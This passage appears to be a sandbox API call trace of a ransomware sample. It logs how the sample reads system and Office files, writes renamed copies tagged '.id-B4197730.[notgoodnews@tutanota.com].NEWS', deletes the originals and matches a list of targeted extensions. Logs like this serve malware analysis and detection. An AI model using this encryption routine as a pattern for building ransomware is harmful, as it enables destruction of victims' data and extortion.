SetEndOfFile (hFile=0x514) returned 1 [0189.658] CloseHandle (hObject=0x514) returned 1 [0189.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0189.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.660] lstrlenW (lpString=".doc") returned 4 [0189.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.660] lstrlenW (lpString=".docx") returned 5 [0189.660] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.660] lstrlenW (lpString=".pdf") returned 4 [0189.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString=".xls") returned 4 [0189.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.661] lstrlenW (lpString=".xlsx") returned 5 [0189.661] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.661] lstrlenW (lpString=".ppt") returned 4 [0189.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.661] lstrlenW (lpString=".zip") returned 4 [0189.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.661] lstrlenW (lpString=".rar") returned 4 [0189.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString=".bz2") returned 4 [0189.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString=".7z") returned 3 [0189.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.661] lstrlenW (lpString=".dbf") returned 4 [0189.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.661] lstrlenW (lpString=".1cd") returned 4 [0189.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.661] lstrlenW (lpString=".jpg") returned 4 [0189.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.661] lstrlenW (lpString=".doc") returned 4 [0189.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString=".docx") returned 5 [0189.662] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.662] lstrlenW (lpString=".pdf") returned 4 [0189.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString=".xls") returned 4 [0189.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.662] lstrlenW (lpString=".xlsx") returned 5 [0189.662] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.662] lstrlenW (lpString=".ppt") returned 4 [0189.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.662] lstrlenW (lpString=".zip") returned 4 [0189.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.662] lstrlenW (lpString=".rar") returned 4 [0189.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString=".bz2") returned 4 [0189.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString=".7z") returned 3 [0189.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.662] lstrlenW (lpString=".dbf") returned 4 [0189.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.662] lstrlenW (lpString=".1cd") returned 4 [0189.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0189.662] lstrlenW (lpString=".jpg") returned 4 [0189.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.663] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0189.663] lstrlenW (lpString="J0152878.WMF") returned 12 [0189.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.776] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=14888) returned 1 [0189.776] CloseHandle (hObject=0x2e8) returned 1 [0189.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220 [0189.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0190.225] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.225] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0190.275] GetLastError () returned 0x0 [0190.275] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3a28, lpOverlapped=0x0) returned 1 [0190.277] WriteFile (in: hFile=0x33c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3a30, lpOverlapped=0x0) returned 1 [0190.278] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.278] WriteFile (in: hFile=0x33c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0190.278] SetEndOfFile (hFile=0x33c) returned 1 [0190.279] CloseHandle (hObject=0x33c) returned 1 [0190.279] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.279] SetEndOfFile (hFile=0x514) returned 1 [0190.282] CloseHandle (hObject=0x514) returned 1 [0190.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0190.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.436] lstrlenW (lpString=".doc") returned 4 [0190.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString=".docx") returned 5 [0190.437] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.437] lstrlenW (lpString=".pdf") returned 4 [0190.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString=".xls") returned 4 [0190.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.437] lstrlenW (lpString=".xlsx") returned 5 [0190.437] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.437] lstrlenW (lpString=".ppt") returned 4 [0190.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.437] lstrlenW (lpString=".zip") returned 4 [0190.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.437] lstrlenW (lpString=".rar") returned 4 [0190.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString=".bz2") returned 4 [0190.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString=".7z") returned 3 [0190.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.437] lstrlenW (lpString=".dbf") returned 4 [0190.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.437] lstrlenW (lpString=".1cd") returned 4 [0190.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.437] lstrlenW (lpString=".jpg") returned 4 [0190.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.437] lstrlenW (lpString=".doc") returned 4 [0190.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.437] lstrlenW (lpString=".docx") returned 5 [0190.437] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.437] lstrlenW (lpString=".pdf") returned 4 [0190.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString=".xls") returned 4 [0190.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.438] lstrlenW (lpString=".xlsx") returned 5 [0190.438] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.438] lstrlenW (lpString=".ppt") returned 4 [0190.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.438] lstrlenW (lpString=".zip") returned 4 [0190.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.438] lstrlenW (lpString=".rar") returned 4 [0190.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString=".bz2") returned 4 [0190.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString=".7z") returned 3 [0190.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.438] lstrlenW (lpString=".dbf") returned 4 [0190.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.438] lstrlenW (lpString=".1cd") returned 4 [0190.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0190.438] lstrlenW (lpString=".jpg") returned 4 [0190.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.438] lstrlenW (lpString=".id-") returned 4 [0190.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47cf58 | out: hHeap=0x420000) returned 1 [0190.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda98 | out: hHeap=0x420000) returned 1 [0190.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4e0a30 | out: hHeap=0x420000) returned 1 [0190.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f0a38 | out: hHeap=0x420000) returned 1 [0190.439] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3720020 | out: hHeap=0x420000) returned 1 [0190.444] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47cf70 | out: hHeap=0x420000) returned 1 [0190.444] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089048 [0190.444] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089048, Size=0x20) returned 0x408dc68 [0190.444] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089240 [0190.444] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089240, Size=0x20) returned 0x408df88 [0190.444] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.445] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.445] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x1) returned 1 [0190.445] lstrlenW (lpString="kernel32.dll") returned 12 [0190.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 [0190.445] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dc68 | out: hHeap=0x420000) returned 1 Thread: id = 40 os_tid = 0xde8 [0156.890] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x500a40 [0156.891] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3830048 [0156.891] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cf40 [0156.892] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bdb48 [0156.892] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cf88 [0156.892] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x393d020 [0156.894] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0a8 [0156.894] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d0a8, Size=0x20) returned 0x45f300 [0156.894] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0a8 [0156.895] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d0a8, Size=0x20) returned 0x45f350 [0156.895] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0156.895] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0156.895] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x0) returned 1 [0156.895] lstrlenW (lpString="kernel32.dll") returned 12 [0156.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f300 | out: hHeap=0x420000) returned 1 [0156.895] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0156.895] Sleep (dwMilliseconds=0x64) [0157.155] Sleep (dwMilliseconds=0x64) [0157.453] Sleep (dwMilliseconds=0x64) [0157.637] Sleep (dwMilliseconds=0x64) [0157.841] lstrcmpiW (lpString1=".LOG", lpString2=".NEWS") returned -1 [0157.841] lstrlenW (lpString="BCD.LOG") returned 7 [0157.841] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.841] lstrlenW (lpString=".doc") returned 4 [0157.841] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0157.841] lstrlenW (lpString=".docx") returned 5 [0157.841] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0157.841] lstrlenW (lpString=".pdf") returned 4 [0157.841] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0157.841] lstrlenW (lpString=".xls") returned 4 [0157.841] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0157.841] lstrlenW (lpString=".xlsx") returned 5 [0157.841] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0157.841] lstrlenW (lpString=".ppt") returned 4 [0157.842] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString=".zip") returned 4 [0157.842] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0157.842] lstrlenW (lpString=".rar") returned 4 [0157.842] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0157.842] lstrlenW (lpString=".bz2") returned 4 [0157.842] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0157.842] lstrlenW (lpString=".7z") returned 3 [0157.842] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString=".dbf") returned 4 [0157.842] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString=".1cd") returned 4 [0157.842] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString=".jpg") returned 4 [0157.842] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString=".doc") returned 4 [0157.842] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0157.842] lstrlenW (lpString=".docx") returned 5 [0157.842] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0157.842] lstrlenW (lpString=".pdf") returned 4 [0157.842] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0157.842] lstrlenW (lpString=".xls") returned 4 [0157.842] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0157.842] lstrlenW (lpString=".xlsx") returned 5 [0157.842] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0157.842] lstrlenW (lpString=".ppt") returned 4 [0157.842] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0157.842] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.842] lstrlenW (lpString=".zip") returned 4 [0157.842] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0157.843] lstrlenW (lpString=".rar") returned 4 [0157.843] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0157.843] lstrlenW (lpString=".bz2") returned 4 [0157.844] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0157.844] lstrlenW (lpString=".7z") returned 3 [0157.844] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0157.844] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.844] lstrlenW (lpString=".dbf") returned 4 [0157.844] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0157.844] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.844] lstrlenW (lpString=".1cd") returned 4 [0157.844] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0157.844] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0157.844] lstrlenW (lpString=".jpg") returned 4 [0157.844] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0157.845] Sleep (dwMilliseconds=0x64) [0158.010] Sleep (dwMilliseconds=0x64) [0158.284] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.284] lstrlenW (lpString="boxed-correct.avi") returned 17 [0158.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.325] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=111320) returned 1 [0158.326] CloseHandle (hObject=0x3b8) returned 1 [0158.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0158.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.392] lstrlenW (lpString=".doc") returned 4 [0158.392] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.392] lstrlenW (lpString=".docx") returned 5 [0158.392] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.392] lstrlenW (lpString=".pdf") returned 4 [0158.392] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.392] lstrlenW (lpString=".xls") returned 4 [0158.392] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.392] lstrlenW (lpString=".xlsx") returned 5 [0158.392] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.392] lstrlenW (lpString=".ppt") returned 4 [0158.392] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.392] lstrlenW (lpString=".zip") returned 4 [0158.392] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.392] lstrlenW (lpString=".rar") returned 4 [0158.392] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.392] lstrlenW (lpString=".bz2") returned 4 [0158.393] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.393] lstrlenW (lpString=".7z") returned 3 [0158.393] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.393] lstrlenW (lpString=".dbf") returned 4 [0158.393] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.393] lstrlenW (lpString=".1cd") returned 4 [0158.393] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.393] lstrlenW (lpString=".jpg") returned 4 [0158.393] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.393] lstrlenW (lpString=".doc") returned 4 [0158.393] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.393] lstrlenW (lpString=".docx") returned 5 [0158.393] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.393] lstrlenW (lpString=".pdf") returned 4 [0158.393] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.393] lstrlenW (lpString=".xls") returned 4 [0158.393] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.393] lstrlenW (lpString=".xlsx") returned 5 [0158.393] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.393] lstrlenW (lpString=".ppt") returned 4 [0158.394] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.394] lstrlenW (lpString=".zip") returned 4 [0158.394] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 